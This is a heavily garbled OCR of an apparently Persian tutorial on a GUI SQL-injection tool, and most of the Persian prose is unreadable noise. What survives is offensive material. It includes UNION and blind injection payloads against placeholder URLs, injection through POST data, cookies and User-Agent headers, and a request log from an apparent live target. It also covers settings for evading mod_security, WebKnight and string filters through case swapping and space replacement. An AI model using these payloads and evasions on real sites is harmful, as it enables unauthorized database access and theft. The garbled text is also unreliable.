o oslaiwl SQL wMo> (sSuzum 9 WAD Udy Lo wle a4 b culw 5l s, >

ilgi (o (siows Wygo 4 boods LS|l ol D> 59 (sv0s L8395 055 U (8990 Aoy
DS 0,00 2ued Sl ed 5U wlei (s dwlos ghiwl | wleMbl g auS wS=ul |, Wi

B8990 9 1d> (s plil [, Buyy5 Joe 505 cwlex 55 b ssobw 5 Looi S 42,9 Jlie sl
g s g lud S asus S ol @

http://site.com/index.php?id=-52 union all select 1,2, @@version,3—
S 5,lg Target conwd 5o |y 55 sl 2usd 5> Csiws pudaii sl
http://site.com/index.php?id=52
1S 3)l9 1) o5 las0 9509, L3S L w9 0355 S5 U S SIS Syntax sy,
-52 union all select 1,2,%String_Col%,3—

|, %String_Col% ,laso 595 (sw 0115,3 0 axan ;> aS @@version Sl> @ aS 4sS a>gi
Pu3S Sl

Ing i Aiigs Wygo cmod @ b ads> %String_Col% :a>gs

www.lTiSecTeam.com




59 E9br S35 U S SIS Analyze sg, 5 V>

(Blind) qvuuw puin> yvg) U 9y Sl Syntax uasi

bowg oaw vkl s b Hlaaw 5l elaS gus Blind Vled L aicuw puin> Gug, AU (80,55 )d
OMox> L U 55l 39>9 UlSol ol cululo g (swo 03ls Jiwlos axen ;> SQL S alo>
a ;B Lo wliko S (8,55 U &3lgo LS )5 oS ghsiwl Juwlos 51 uleMbl Union
ol LSl wd & pwinwd o 03y Jiwlos S axbws > wlike wlls 9y S oaslie
035d> Ul p9> wll> g (05,5 0 Haw Sy J8la>) 0381 pasxo SQL S alo> aS ol
a=lloo SadS S asdS wonwd i wleMbl i) ool s SQL S alo> Usgy ble s

(->9-

Suxo W S oaids Uil S axan 45 8oy sl oslaiwl U lbeww aS auS yo,9 Jlio sl
1A6S v oad i |

http://site.com/index.php?id=52 and 1=1
S 3l 15 505 w)le Target caoowsd >
http://site.com/index.php?id=52
WS 3l L) wolie ol syntax (siows pudais Sy g
52 and %True_Expression%

D9 Bigs JSow ued a4 L Leds %True_Expression% o,le ra>g

134iS s oadliie b guxo S axbo 5 Busi b o ol Sl aii; Husie ggi aS ull> o
http://site.com/index.php?id=52" and *x'="x
23S 3le 1) 55 w,ylie Target cowsd s
http://site.com/index.php?id=52
1S 3)lg 1) w)lie ol Syntax csiiws oudais Sl g
52" and %True_Expression and ‘x'="X

3le siws w1 SadS S aolS U cewl Lipy 23S sw pubii (svws |, Syntax 3| iasgi
(o i By > ) logaxe) asS

www.lTiSecTeam.com




(Method) ywve,) yaasi

Oad wwlw a4 SQL 5,50 Vled L d S>g9,9 JLw,l S 0g= Method Ulod U g, 5l jekrio
5l ey el 9 auS sw oslawl GET e 5l html wlsss )5 b Sod plod ool w
2,9 Sy Sl gy J2Is oS3l ccwl oaniw wlxisl GET xio yo,9 Ui usb @ .POST o

AwS oslaiwl POST wuio 5l a0l 20,8 oy oSzl

Ol 5 2ugd 5l esleiwl U U auses Julo 9 35,8 sadline ) 55 0,8 csinlw 55 531 Jlio iy
2sS Jlos [ s J=>lhe aulgi (o uds plil SQL 8,50

TSynlE ol

s 5 qels

2333

AwS wlxwl |, POST wiw -1
Uit Axbo 5> Cawly SWS) s SSHore 03 L html S axés pusw papw -2
(view page source ozl

Reload
SylE ol

11

Bookmark This Page L 5 anls

Save Page As...
4919 Send Link. ..

Select all

View Page Source
Wiew Page Info

Switch Page Direction

"_L\‘r"Inspect Element

15,50 Qg > <form> & Jlis a4 -3



<body>
<div align="center":>
<center>
<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: col
<tr>
<td width="100%">
<div align="center™>
<center>
<form method=post action="index.php">
<table border="1" cellpadding="6" cellspacing="0" style="border-collaps
<tr>
<td width="505">;: L3 PLJ:{ftd}
<td width="50%"><input type="text"” name="name" size="zZ0"></td>
</tr>
<tr>
<td width="50%">J,+a ¢ delii</td>
<td width="S50x":><input type="password" name="pass" gize="Z0"></td>
<ftr>
<tr>
<td width="100%" colspan="2">
<p align="lefr”><input type=submit name=submit value="u.g ">/ td>
<ftr>
</table>
</form>|

</center>
</ div>
</ td>

51 A= uwl sw index.php =l > as |, action laso aol, Target woowsd ,> -4
:.LuS b)ls Ax9.0 u.U)bl

http://localhost/index.php
12wS Sle 5 JSow @ |) W S99 oL Post Data wuowd 5> -5
Pass=&submit=2sq,9&Name=whatever

1Ble> o S ()90 1> S o Wyso (NAame) 3T Syese 5> SQL Buyi A
990 4 L9 gy d 5l 53l | el ool alei (s 390 el Pass Lol > (80,5
W] ENIUWE 3 PR VS VIS+E 1S FISVS)

Pass=%]Inject_Here%&submit=>q ,0&name=whatever

9 £9 (803 U S SIS Analyze g, 0 -6



O lowbais

loghis 5l vasy awilgi w o aoliy SYL Sgio > Settings s aiu;S 5l eslaiwl b
DS s | Aol

» Wb li> L8 o> 55 9 (Analyze) g0y Joc 51 g wloudais wsls il wayy Sl tasgs
Jlocl s3=0 (Analyze) o3 U wa> oladhis wyganl e 5> .auS SIS Apply o,
Ao dlgs

odlw wlenbis
SS9, )'| oslaiwl p.Ja.u

55 LS oslawl (sawSey 5l Awlei s Ule Lwliool jelhio A pusiwe JuE (810 Sl
N Lol g 9 awSey sorw pudl 9 3w S ) awSe USU S wloudhis S axan
S SUS | Apply 9 duinsio 909, 558

General T Evasion

¥ Pros: 110.136.184.163 8080

[T] Try different syntases in UMION injections.

B > (Space) alold s

o A3 09> L) Mgk e Sole wige 4 Buy il Rl aS B Ll sl sy aSil sy
LBl 2SS oSl +,/¥,L aile eSS L W sy > | (Space) alold aulgs
5050 ) caued S Hilkd wlgi (o (g WS i Sl 8y S Az ) Sy

Sou 05 Sw U auS SIS Replace Space with g, v wlewais couwd [ S0l sy
DS wlzil seui alold Sl dlss s aS | SLSLIS cowd S35 51 Gugw



General T Ewazion

W &void using stings [good for bypassing magic_quates and similar filers)
W Bypazz illegal union [for fixing language problems)

[] Bypazs mod_security

[T] Bypazs Webknight WWaAF

¥ Replace space with: |/~ | =

[7] Replacement

Find what Replace with

odb plxil Sl 81y Jiwlod

9 S oadliio Ad> sw pll aS | uld (80,50 wlod U S s o8 | UlSsl (ul gugd
Show s a8 wlowhii Caouusd > aud> plxil ) 1 (80,50 csiwd g U Ulisgs> Julgiy
g 030y Giwlos W plewy au bgyyo S 0, 55 B (81,55 swlos U o S |, Requests

Status: I'm IDLE Clear Log
requesung: nop I F T 50c prp snopid=-999.9 UMIUM AL SELEL | UX3LoU3Z30 38 303030
Zelected Column Count is 11
Finding string colurnn
Finding string column; 1
Requesting: http:// | R = o= ~hr7shopid=-999.9 UNION ALL SELECT (select 0x3133363731
Finding string column; 2
requesting: http:// | -z 2= rhp7shopid=-999.9 UNION ALL SELECT 0x313032353435303
Finding string column; 3
requesting: http:/ - -z o= .php?shopid=-999.9 UNION ALL SELECT 0x313032353435303!
Valid String Colurnn is 3 4
4 m b

URL Rewrite wlxano 5> (81,5

S0l gud wgLURL Rewrite wulbld 5l osleiwl U b culw wy wlxaw wligl a8

w90 Ol 53 1l Gusi aS | (lxo aulgi (o 9l i 55 B Sh L g s 0>
JSow a4 culw 5l Sl axan 31 e Sy auS axuiw %Inject_Here% o,le U 5,8

1590 >

http://somewhere.com/news/1077/index.html



http://somewhere.com/news/%Inject_Here%/index.html

D9l Bngs JSow uod 4 U Lads %Inject_Here% :a>gi

... 9 user-agent (_sSgS ,> (84,50

aiils 39>9 http sla,as ,ulw b g User-Agent ((sSsS 5 Syudy wwl aS syl >
S CuglowST 1 ol zuga 5l osleiwl U awlgi (s Ubizod 1ol

Lol awls 59>9 UserName ob @y (5SS iohl S 5y Shudy cawmwl & 31 Jlio sy
AwS adlol wloudais > Additional http headers @y @, |, 5 b b cowl O

Cookie: UserName=%Inject_Here%

General T Evazion

[] Prowy:
[T] Try different spntaxes in UMION injections.

W Hitp headers; UzerAgent  Load Cookie  Authentication

Accept; *
|Jzer-fgent Mozilla/4.0 [compatible; MSIE 7.0; Window:
ookie: UserMame=¢Inject_Here?

029 U s Sl> a4 B 6sy55 55 1 lase 390 oslewl %inject_Here% 5l aS s> s
A s Olowdais 55 | Hladoe ¢l awles (s locis Sg (s o laiwl

U.SXJ Culbw s boa> U cowl o3V udy WT;SWQJMMD Sy &5lgo 5l (sdux >
S B ilgi s | Blasl 5l gl guga oS (login)

s>l -2 Basic yug, a4 wusd shal -1 il (v wugd s> gei aw plil @ )5l zuge
http form s, @ wusa ;> -3 Digest jivg, @ cuga



Basic ywg) U ugd ;>1

Oyeo U Aoly LS oslaiwl wugd Ll Sy Gug, oul 5l b 380 wulw aS (sd,90 5>

2 usSe

" & Authentication

A uzername and pazswaord are being requested by this url.
Thiz site zayz: "Amy Fisher Members Area"

Username: |
Password:

M ethod:

| Cancel || (] |

2SS SUS OK Sg) 0 9 3sS sl 1) 50 380 wleMbl U cnwl (818

Cowl 13y Ukl 50 Authentication g 0 SUS L g wlowdhis (gu,b 51 L8 ol

Digest g, v wugd ;1,>1

o sw plzl Aol lowgi 58593 Whe.0 a4 Basic g, o od S ol

HTTP Form gwg) @ <ued ;1>

bowgi | 393 Heuc S anldS 9 S,u,l8 oL culw =I5 55 b bow aS wowl iloj ivg, ol
S 3l 0,9 Sy

S Jbos 1) 505 d>he gy il 4 cogs 5Ll sy

Aaawg Target coowd 55 | 0y u.a_wi Sad U..JJDT ol -1

23 Sw |, Additional http headers s aiu;S 9 Jugai Settings caowwd 3,lg Guw -2
.S SWJS Load Cookie s aiu;S Sg,y pu awlgi U

b 1S (o oasline (IE) 595 ,S 90 13 S sehiled wylw a5 S o)y ,> -3
S (login) oSV culw s .39 (sw

DS SUS |, Add -4



" Load Cookie
Page Address! | hitp: /192 168.0.10/index. php Load
| farshad WSnls ol
| sessnne] PR T LY
3 o

r3dmiv3 b sl porlle

4

Page Cookie: | PHPSESSID=a22c5031/72411a33c01 2c7039100: Add

S SWS 1) Analyze [l Sy oS g9y | 8y wlei o Vs -5

Qi pin> (8 > s Sy @SS uass

oo U b la,iShlS 5 s voleMbl zlhsiwl sl (Blind) doww ouis S 81,55 5> cusd
Sl oo oslaiwl Sla,sSLIS S o3ga=0 .S sw o (SHul) v 95 Sl 9 sew
Blind injection wouwd 5> wowl ($OS .0wuS paseiw wlowdhis > 1ilgi sw ) Uas 9 (s

DS 3)le [ 5iSLS S, 9 oxiS>eS @ bgsyo sSowl 28 character ascii set

By > W (Header) o s

ol g o JLu,l hittp JSien Gk Sl aas (o el augd LISI ey @S ule 80
ol o o 5l 5Su S ouais Lpil 593 5Lasl b awilsi (s aS syl ol slayaa JSie
owl oslaswl 5,00 55,950 S 0@ Liu aS cewl User-Agent ,as b s

DS w39 055 Swi U oS SIS Additional http headers o) 0 wloudhis cuowd s
'-LMS D)IS |) 59> Olg.'Zlb D _LuISJ SO ) )bls

1lgs> o |y plaS L, o 5l 9 3uS SIS @3S ol Sy, User-Agent ,as oudaii sl



Time out
<ol 9 Jlwyl Sy zusad aS | siloy wan wlephis 5> ‘General’ S,uw 5> agS ol
S sw pasiw Al (sdao s 0 S o Wy b wowlgs s

B Shy u2,9 Ui Hlaso

US,S Lasaio Shy S ol 5l aslei (s AuS s oslaiwl Y%lInject_Here% ;l aS silo;

Ll aswls 59>9 505 URL [ Syl L_u.uuT S )§| Jlo sl

http://site.com/index.html/id/1324

S o oSuls Ylnject_Here% U |, ol loos ol 1324 53y wawl S3959 9

http://site.com/index.html/id/%Inject Here%

Default wowud 55 |, Ul 3lgi (s L2, Ui Hlaso Ulgic a; 1324 Us,S Laiiuw Sy
AwS 5)lg wlowdhis > injection value

Avoid using strings

ol S o Juaw ) W aisa, plod 58565 whgo a0y auil acals S LS| aigsS ol
S sw il v | Jgd Jis eiMe as magic_quotes il csuld ,ilid ws; 95 Sl aiysS

Bypass illegal union

5 oslaiwl b B35 o puwlos 9 Jola= Ol; weles JSino 0SS Byb 51 by aiysS ol
DS Jed 1) @3S ol 3900 (s Auogi ool (s Union

Try different syntaxes in union injection

@ select s alo> Sl Ugiw slasi U,S o Shy LW aS ()80 > agsS ol Lkl b
Ugicw Slai Us,S 1oy 5> saw 0,Lg> 5610 5l oslaswl Jio walizeo Slpdls b canw, asws
QS sw b

www.lTiSecTeam.com




Follow redirections

aoliy 1S Jaio S50 S axbw 4 |, aoliy 490w aS hge 5 il Jled aiyS ol S
35,5 w8y S A Jlis @ axas Ol s

Column count

lnwy Shy Gl p&id @ aS |, (uld Vgiw slagi HiSlas g J8las> algi (s Caowd il 5>

Slg 1 35,8 s 53 Jiwlosl 3,90 UNION Givg, @ (81,3 L select alo> S wgiw Ws,S

Do not find columns count in MsSQL with error

s 5l By 9 MSSQL g9 5l palis &S uld ol 5> s9w 055 S SI asS ol
S wu g | select s ado> S ugiw Slae Aol (ool w9yl e 5l gh=iowl

Bypass mod_security

Jlgnl 51 5505 S lewn 9 mod_security Ly waxi Sla aol,y Jlguls Os; 95 by aigsS ¢l
5L9 oslaiwl 5,00 a0l bwgi 58595 Wi U S ol e sw osleiwl Ll sla
S Jled |, ol Csiws wyg0 U wilgi s lowis aidl 3,8 Lsw

Bypass WebKnight

515505 S)leun 9 AQTRONIX WebKnight wg caxi Sa aoli,y Jlguld Usj 495 Sy @S ol
500 Aoly bwg ;839> Wigo @ Cl.u_)g ol e w eslaiwl i sSla Jlg,uld
S Jled |y Ol Csiws ©ye0 A wilgi (s locis aidl 5,8 s L9 oslaiwl

B3 LS olosds whlie Sl

la,iLd s wslsl pls @5l b asS osSals b s b woble b cawl o3V gl sals
Jle sl .68 oslaiwl Replacement s aiu;S 5l aslgi (s baulio ol 5> 0SS S, 861>
‘evasion’ & ,w > e yosc ‘SeLeCt’ L 'select’ w,lic b (81,55 plod 5> audlgs (s S
lo b wolie 9 S SIS '+ Sg) g 1S SIS Replacement g, 50 wlowdais s
2GS

select::SelLeCt
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Soad B (81,55 pled s ‘select” 350 'SeLeCt’ w)le U g (s acl ol

Time based method delay

aS (8,90 55 LS (sw pagaiw Uloj i By wdls Sk | a3l Oloj Hlase aiysS ol
Aol bwgi 853> g0 4 Ul i w9 oy wwlio g Wil Auto s CLu)g
Sl Aol (sduo s> o | 593 olgzds [lase dwlei s Julod Wi 5> g (s Wl

Blind table prefix

L, ol @S ol 5l eslaiwl U awlgi s awils o | i 5,90 Bad Jglas viguing S|
N U asS SHlengs gy US,S o 5l 2ued i puinx By Wb 5y U oS paxwiw
D9 (SUg> A9,0 g

Blind column prefix

L, ol @3S ol 5l eslaiwl b awilgi cswo awils s 1) 5 5,00 Bad S Ugiw Viguiny LS|
D U auS s)longs g WS by 5l gued W puin> Gy s 5y U auS jaxiw
D9 (SUg> A9,0 g

Table list for blind guessing
aS wollis U auS pazuio b Jslas ob 5l coud S aulei o aipsS ol 5l eslaiwl |

Jola> U 05 gwas Sl ol 5l S ghaiwl | Jgla> Jgose Gvg, @ dilgi swoi gusd
olgi s Jalod Whgo 55 S sw oslaiwl 393 6,9 Gy o] SOl gugd LS oslaiwl

Column list for blind guessing

aS ol U oS pasiw | b ugiw oU ;1 cownd S ales (o @3S ol 5l oslaiwl b

Ugiw ol Us; pwis> Sl Ul 5l S zhssiwl | B Ugiw Jgose Ly, W Llgi (swoi zugd
o Jlos wygo 53 LS o oslaiwl 393 Lo i o SOl ugd LS oslaiwl
Aadd s | ol aolgs
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